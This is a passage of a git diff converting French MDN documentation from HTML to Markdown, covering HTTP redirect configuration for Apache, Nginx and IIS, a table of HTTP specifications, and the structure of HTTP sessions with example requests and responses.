id="Nginx">Nginx</h3> +### Apache -<p>Dans Nginx, vous créez un bloc <code>server</code> spécifique pour le contenu que vous voulez rediriger:</p> +Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier `.htaccess` de chaque répertoire. -<pre>server { - listen 80; - server_name example.com; - return 301 $scheme://www.example.com$request_uri; -}</pre> +Le module [mod_alias](https://httpd.apache.org/docs/current/mod/mod_alias.html) a des directives `Redirect` et `RedirectMatch` qui définissent une réponse {{HTTPStatus("302")}} (par défaut): -<p>Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive <code>rewrite</code>:</p> + <VirtualHost *:80> + ServerName example.com + Redirect / http://www.example.com + </VirtualHost> -<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; -rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; -</pre> +L'URL `http://example.com/` sera redirigée vers `http://www.example.com/`, ainsi que les fichiers ou répertoires qui s'y trouvent (`http://example.com/index.html` sera redirigée vers `http://www.example.com/index.html`) -<h3 id="IIS">IIS</h3> +`RedirectMatch` fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées: -<p>Dans IIS, vous devez utiliser l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> pour configurer les redirections.</p> + RedirectMatch ^/images/(.*)$ http://images.example.com/$1 -<h2 id="Boucles_de_redirection">Boucles de redirection</h2> +Tous les documents dans le répertoire `images/` seront redirigés vers un autre domaine. -<p>Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée.</p> +Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé `permanent`) peut être utilisé pour configurer un autre type de redirection: -<p>La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} <code>Internal Server Error</code>. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection.</p> + Redirect permanent / http://www.example.com + Redirect 301 / http://www.example.com -<p>Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera:</p> +Le module [mod_rewrite](http://httpd.apache.org/docs/current/mod/mod_rewrite.html) peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser. -<pre>Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas. -</pre> +### Nginx -<p>tandis que Chrome affichera:</p> +Dans Nginx, vous créez un bloc `server` spécifique pour le contenu que vous voulez rediriger: -<pre>Cette page Web présente une boucle de redirection</pre> + server { + listen 80; + server_name example.com; + return 301 $scheme://www.example.com$request_uri; + } -<p>Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies).</p> +Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive `rewrite`: -<p>Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur.</p> + rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; + rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; + +### IIS + +Dans IIS, vous devez utiliser l'élément [`<httpRedirect>`](https://www.iis.net/configreference/system.webserver/httpredirect) pour configurer les redirections. + +## Boucles de redirection + +Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée. + +La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} `Internal Server Error`. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection. + +Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera: + + Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas. + +tandis que Chrome affichera: + + Cette page Web présente une boucle de redirection + +Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies). + +Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur. diff --git a/files/fr/web/http/resources_and_specifications/index.md b/files/fr/web/http/resources_and_specifications/index.md index 5e1b2dc494..b0883bc97a 100644 --- a/files/fr/web/http/resources_and_specifications/index.md +++ b/files/fr/web/http/resources_and_specifications/index.md @@ -6,263 +6,56 @@ tags: - HTTP translation_of: Web/HTTP/Resources_and_specifications --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP.</p> +HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP. -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - <th scope="col">Statut</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{rfc(7230)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7231)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7232)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7233)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7234)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(5861)}}</td> - <td>HTTP Cache-Control Extensions for Stale Content</td> - <td>Information</td> - </tr> - <tr> - <td>{{rfc(8246)}}</td> - <td>HTTP Immutable Responses</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7235)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(6265)}}</td> - <td>HTTP State Management Mechanism<br> - <em>Defines Cookies</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td> - <td>Cookie Prefixes</td> - <td>IETF Draft</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td> - <td>Same-Site Cookies</td> - <td>IETF Draft</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td> - <td>Deprecate modification of 'secure' cookies from non-secure origins</td> - <td>IETF Draft</td> - </tr> - <tr> - <td>{{rfc(2145)}}</td> - <td>Use and Interpretation of HTTP Version Numbers</td> - <td>Information</td> - </tr> - <tr> - <td>{{rfc(6585)}}</td> - <td>Additional HTTP Status Codes</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7538)}}</td> - <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7725)}}</td> - <td>An HTTP Status Code to Report Legal Obstacles</td> - <td>En cours de normalisation</td> - </tr> - <tr> - <td>{{rfc(2397)}}</td> - <td>The "data" URL scheme</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(3986)}}</td> - <td>Uniform Resource Identifier (URI): Generic Syntax</td> - <td>Standard Internet</td> - </tr> - <tr> - <td>{{rfc(5988)}}</td> - <td>Web Linking<br> - <em>Defines the {{HTTPHeader("Link")}} header</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td> - <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td> - <td>Information (Expirée)</td> - </tr> - <tr> - <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td> - <td>HTTP Client Hints</td> - <td>IETF Draft</td> - </tr> - <tr> - <td>{{rfc(7578)}}</td> - <td>Returning Values from Forms: multipart/form-data</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(6266)}}</td> - <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(2183)}}</td> - <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br> - <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7239)}}</td> - <td>Forwarded HTTP Extension</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(6455)}}</td> - <td>The WebSocket Protocol</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(5246)}}</td> - <td>The Transport Layer Security (TLS) Protocol Version 1.2<br> - <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(8446)}}</td> - <td>The Transport Layer Security (TLS) Protocol Version 1.3<br> - <em>Supersedes TLS 1.2.</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(2817)}}</td> - <td>Upgrading to TLS Within HTTP/1.1</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7540)}}</td> - <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(7541)}}</td> - <td>HPACK: Header Compression for HTTP/2</td> - <td>En cours de normalisation</td> - </tr> - <tr> - <td>{{rfc(7838)}}</td> - <td>HTTP Alternative Services</td> - <td>En cours de normalisation</td> - </tr> - <tr> - <td>{{rfc(7301)}}</td> - <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br> - <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(6454)}}</td> - <td>The Web Origin Concept</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>Cross-Origin Resource Sharing</td> - <td>{{Spec2("Fetch")}}</td> - </tr> - <tr> - <td>{{rfc(7034)}}</td> - <td>HTTP Header Field X-Frame-Options</td> - <td>Information</td> - </tr> - <tr> - <td>{{rfc(6797)}}</td> - <td>HTTP Strict Transport Security (HSTS)</td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{SpecName("Upgrade Insecure Requests")}}</td> - <td>Upgrade Insecure Requests</td> - <td>{{Spec2("Upgrade Insecure Requests")}}</td> - </tr> - <tr> - <td>{{SpecName("CSP 1.0")}}</td> - <td>Content Security Policy 1.0<br> - <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td> - <td>{{Spec2("CSP 1.0")}}</td> - </tr> - <tr> - <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td> - <td>Specifying legacy document modes*<br> - <em>Defines X-UA-Compatible</em></td> - <td>Note</td> - </tr> - <tr> - <td>{{rfc(5689)}}</td> - <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br> - <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td> - <td>Proposition de norme</td> - </tr> - <tr> - <td>{{rfc(2324)}}</td> - <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td> - <td>Spec blague du 1er avril</td> - </tr> - <tr> - <td>{{rfc(7168)}}</td> - <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td> - <td>Spec blague du 1er avril</td> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG")}}</td> - <td>HTML<br> - <em>Defines extensions of HTTP for Server-Sent Events</em></td> - <td>{{Spec2("HTML WHATWG")}}</td> - </tr> - <tr> - <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td> - <td>DNT header</td> - <td>Editor's draft / Candidate recommendation</td> - </tr> - <tr> - <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td> - <td><code>Report-To</code> header</td> - <td>Draft</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01">Draft spec</a></td> - <td>Expect-CT Extension for HTTP</td> - <td>IETF Draft</td> - </tr> - </tbody> -</table> +| Spécification | Titre | Statut | +| ------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- | +| {{rfc(7230)}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | Proposition de norme | +| {{rfc(7231)}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Proposition de norme | +| {{rfc(7232)}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | Proposition de norme | +| {{rfc(7233)}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | Proposition de norme | +| {{rfc(7234)}} | Hypertext Transfer Protocol (HTTP/1.1): Caching | Proposition de norme | +| {{rfc(5861)}} | HTTP Cache-Control Extensions for Stale Content | Information | +| {{rfc(8246)}} | HTTP Immutable Responses | Proposition de norme | +| {{rfc(7235)}} | Hypertext Transfer Protocol (HTTP/1.1): Authentication | Proposition de norme | +| {{rfc(6265)}} | HTTP State Management Mechanism _Defines Cookies_ | Proposition de norme | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) | Cookie Prefixes | IETF Draft | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) | Same-Site Cookies | IETF Draft | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01) | Deprecate modification of 'secure' cookies from non-secure origins | IETF Draft | +| {{rfc(2145)}} | Use and Interpretation of HTTP Version Numbers | Information | +| {{rfc(6585)}} | Additional HTTP Status Codes | Proposition de norme | +| {{rfc(7538)}} | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) | Proposition de norme | +| {{rfc(7725)}} | An HTTP Status Code to Report Legal Obstacles | En cours de normalisation | +| {{rfc(2397)}} | The "data" URL scheme | Proposition de norme | +| {{rfc(3986)}} | Uniform Resource Identifier (URI): Generic Syntax | Standard Internet | +| {{rfc(5988)}} | Web Linking _Defines the {{HTTPHeader("Link")}} header_ | Proposition de norme | +| [Experimental spec](https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html) | Hypertext Transfer Protocol (HTTP) Keep-Alive Header | Information (Expirée) | +| [Draft spec](http://httpwg.org/http-extensions/client-hints.html) | HTTP Client Hints | IETF Draft | +| {{rfc(7578)}} | Returning Values from Forms: multipart/form-data | Proposition de norme | +| {{rfc(6266)}} | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) | Proposition de norme | +| {{rfc(2183)}} | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field _Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages._ | Proposition de norme | +| {{rfc(7239)}} | Forwarded HTTP Extension | Proposition de norme | +| {{rfc(6455)}} | The WebSocket Protocol | Proposition de norme | +| {{rfc(5246)}} | The Transport Layer Security (TLS) Protocol Version 1.2 _This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol._ | Proposition de norme | +| {{rfc(8446)}} | The Transport Layer Security (TLS) Protocol Version 1.3 _Supersedes TLS 1.2._ | Proposition de norme | +| {{rfc(2817)}} | Upgrading to TLS Within HTTP/1.1 | Proposition de norme | +| {{rfc(7540)}} | Hypertext Transfer Protocol Version 2 (HTTP/2) | Proposition de norme | +| {{rfc(7541)}} | HPACK: Header Compression for HTTP/2 | En cours de normalisation | +| {{rfc(7838)}} | HTTP Alternative Services | En cours de normalisation | +| {{rfc(7301)}} | Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension _Used to negotiate HTTP/2 at the transport to save an extra request/response round trip._ | Proposition de norme | +| {{rfc(6454)}} | The Web Origin Concept | Proposition de norme | +| {{SpecName('Fetch', '#cors-protocol', 'CORS')}} | Cross-Origin Resource Sharing | {{Spec2("Fetch")}} | +| {{rfc(7034)}} | HTTP Header Field X-Frame-Options | Information | +| {{rfc(6797)}} | HTTP Strict Transport Security (HSTS) | Proposition de norme | +| {{SpecName("Upgrade Insecure Requests")}} | Upgrade Insecure Requests | {{Spec2("Upgrade Insecure Requests")}} | +| {{SpecName("CSP 1.0")}} | Content Security Policy 1.0 _CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard_ | {{Spec2("CSP 1.0")}} | +| [Microsoft document](<https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx>) | Specifying legacy document modes\* _Defines X-UA-Compatible_ | Note | +| {{rfc(5689)}} | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) _These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays._ | Proposition de norme | +| {{rfc(2324)}} | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) | Spec blague du 1er avril | +| {{rfc(7168)}} | The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA) | Spec blague du 1er avril | +| {{SpecName("HTML WHATWG")}} | HTML _Defines extensions of HTTP for Server-Sent Events_ | {{Spec2("HTML WHATWG")}} | +| [Tracking Preference Expression](https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html) | DNT header | Editor's draft / Candidate recommendation | +| [Reporting API](http://wicg.github.io/reporting/) | `Report-To` header | Draft | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01) | Expect-CT Extension for HTTP | IETF Draft | diff --git a/files/fr/web/http/session/index.md b/files/fr/web/http/session/index.md index 28fd60d637..daebf0d915 100644 --- a/files/fr/web/http/session/index.md +++ b/files/fr/web/http/session/index.md @@ -7,162 +7,134 @@ tags: - Session HTTP translation_of: Web/HTTP/Session --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases :</p> +Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases : -<ol> - <li>Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP).</li> - <li>Le client envoie sa requête et attend la réponse.</li> - <li>Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées.</li> -</ol> +1. Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP). +2. Le client envoie sa requête et attend la réponse. +3. Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées. -<p>À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment.</p> +À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment. -<h2 id="Établir_une_connexion">Établir une connexion</h2> +## Établir une connexion -<p>Dans les protocoles client-serveur, c'est le client qui établit la connexion. L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP.</p> +Dans les protocoles client-serveur, c'est le client qui établit la connexion. L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP. -<p>Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port, Ce dernier peut être omis s'il en est à 80. Voir <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> pour plus de details.</p> +Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port, Ce dernier peut être omis s'il en est à 80. Voir [Identifying resources on the Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) pour plus de details. -<div class="note"> - <p><strong>Note :</strong> Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite. Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API, en utilisant le HTML <a href="/fr/WebSockets" title="en/WebSockets">WebSockets API</a>, ou des protocoles similaires. - </p> -</div> +> **Note :** Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite. Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API, en utilisant le HTML [WebSockets API](/fr/WebSockets "en/WebSockets"), ou des protocoles similaires. -<h2 id="Envoi_d'une_demande_client">Envoi d'une demande client</h2> +## Envoi d'une demande client -<p>Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple). Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs :</p> +Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple). Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs : -<ol> - <li>La première ligne contient une méthode de demande suivie de ses paramètres: +1. La première ligne contient une méthode de demande suivie de ses paramètres: - <ul> - <li>le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine</li> - <li>la version du protocole HTTP</li> - </ul> - </li> - <li>Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache). Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide.</li> - <li>Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST.</li> -</ol> + - le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine + - la version du protocole HTTP -<h3 id="Demandes_d'exemple">Demandes d'exemple</h3> +2. Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache). Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide. +3. Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST. -<p>Obtenir la page racine de developer.mozilla.org, c'est-à-dire <a href="https://developer.mozilla.org">http://developer.mozilla.org/</a>, et dire au serveur que l'utilisateur-agent préférerait la page en français si possible :</p> +### Demandes d'exemple -<pre>GET / HTTP/1.1 -Host: developer.mozilla.org -Accept-Language: fr +Obtenir la page racine de developer.mozilla.org, c'est-à-dire [http://developer.mozilla.org/](https://developer.mozilla.org), et dire au serveur que l'utilisateur-agent préférerait la page en français si possible : -</pre> + GET / HTTP/1.1 + Host: developer.mozilla.org + Accept-Language: fr -<p>Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête. Comme il n'y a pas de <code>Content-Length</code> fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide.</p> +Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête. Comme il n'y a pas de `Content-Length` fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide. -<p>Par exemple, en envoyant le résultat d'un formulaire :</p> +Par exemple, en envoyant le résultat d'un formulaire : -<pre>POST /contact_form.php HTTP/1.1 -Host: developer.mozilla.org -Content-Length: 64 -Content-Type: application/x-www-form-urlencoded + POST /contact_form.php HTTP/1.1 + Host: developer.mozilla.org + Content-Length: 64 + Content-Type: application/x-www-form-urlencoded -name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue -</pre> + name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue -<h3 id="Méthodes_de_demande">Méthodes de demande</h3> +### Méthodes de demande -<p>HTTP définit un ensemble de <a href="/fr/docs/HTTP/Méthode">méthodes de requête</a> indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont <code>GET</code> et <code>POST</code> :</p> +HTTP définit un ensemble de [méthodes de requête](/fr/docs/HTTP/Méthode) indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont `GET` et `POST` : -<ul> - <li>La méthode {{HTTPMethod ("GET")}} demande une représentation de données de la ressource spécifiée. Les requêtes utilisant <code>GET</code> ne doivent que récupérer les données.</li> - <li>La méthode {{HTTPMethod ("POST")}} envoie des données à un serveur afin qu'il puisse changer son état. C'est la méthode souvent utilisée pour les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a>.</li> -</ul> +- La méthode {{HTTPMethod ("GET")}} demande une représentation de données de la ressource spécifiée. Les requêtes utilisant `GET` ne doivent que récupérer les données. +- La méthode {{HTTPMethod ("POST")}} envoie des données à un serveur afin qu'il puisse changer son état. C'est la méthode souvent utilisée pour les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires). -<h2 id="Structure_d'une_réponse_du_serveur">Structure d'une réponse du serveur</h2> +## Structure d'une réponse du serveur -<p>Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par <a href="/fr/docs/Glossaire/CRLF">CRLF</a>, mais divisées en trois blocs :</p> +Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par [CRLF](/fr/docs/Glossaire/CRLF), mais divisées en trois blocs : -<ol> - <li> - La première ligne, <em>la ligne d'état</em>, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme). - </li> - <li>Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache). De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide.</li> - <li>Le dernier bloc est un bloc de données, qui contient les données facultatives.</li> -</ol> +1. La première ligne, _la ligne d'état_, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme). +2. Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache). De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide. +3. Le dernier bloc est un bloc de données, qui contient les données facultatives. -<h3 id="Examples_de_réponses">Examples de réponses</h3> +### Examples de réponses -<p>Réponse réussie de la page Web :</p> +Réponse réussie de la page Web : -<pre>HTTP/1.1 <strong>200 OK</strong> -Date: Sat, 09 Oct 2010 14:28:02 GMT -Server: Apache -Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT -ETag: "51142bc1-7449-479b075b2891b" -Accept-Ranges: bytes -Content-Length: 29769 -Content-Type: text/html + HTTP/1.1 200 OK + Date: Sat, 09 Oct 2010 14:28:02 GMT + Server: Apache + Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT + ETag: "51142bc1-7449-479b075b2891b" + Accept-Ranges: bytes + Content-Length: 29769 + Content-Type: text/html -<!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em> + <!DOCTYPE html... (here comes the 29769 bytes of the requested web page) -</pre> +Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) : -<p>Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) :</p> + HTTP/1.1 301 Moved Permanently + Server: Apache/2.2.3 (Red Hat) + Content-Type: text/html; charset=iso-8859-1 + Date: Sat, 09 Oct 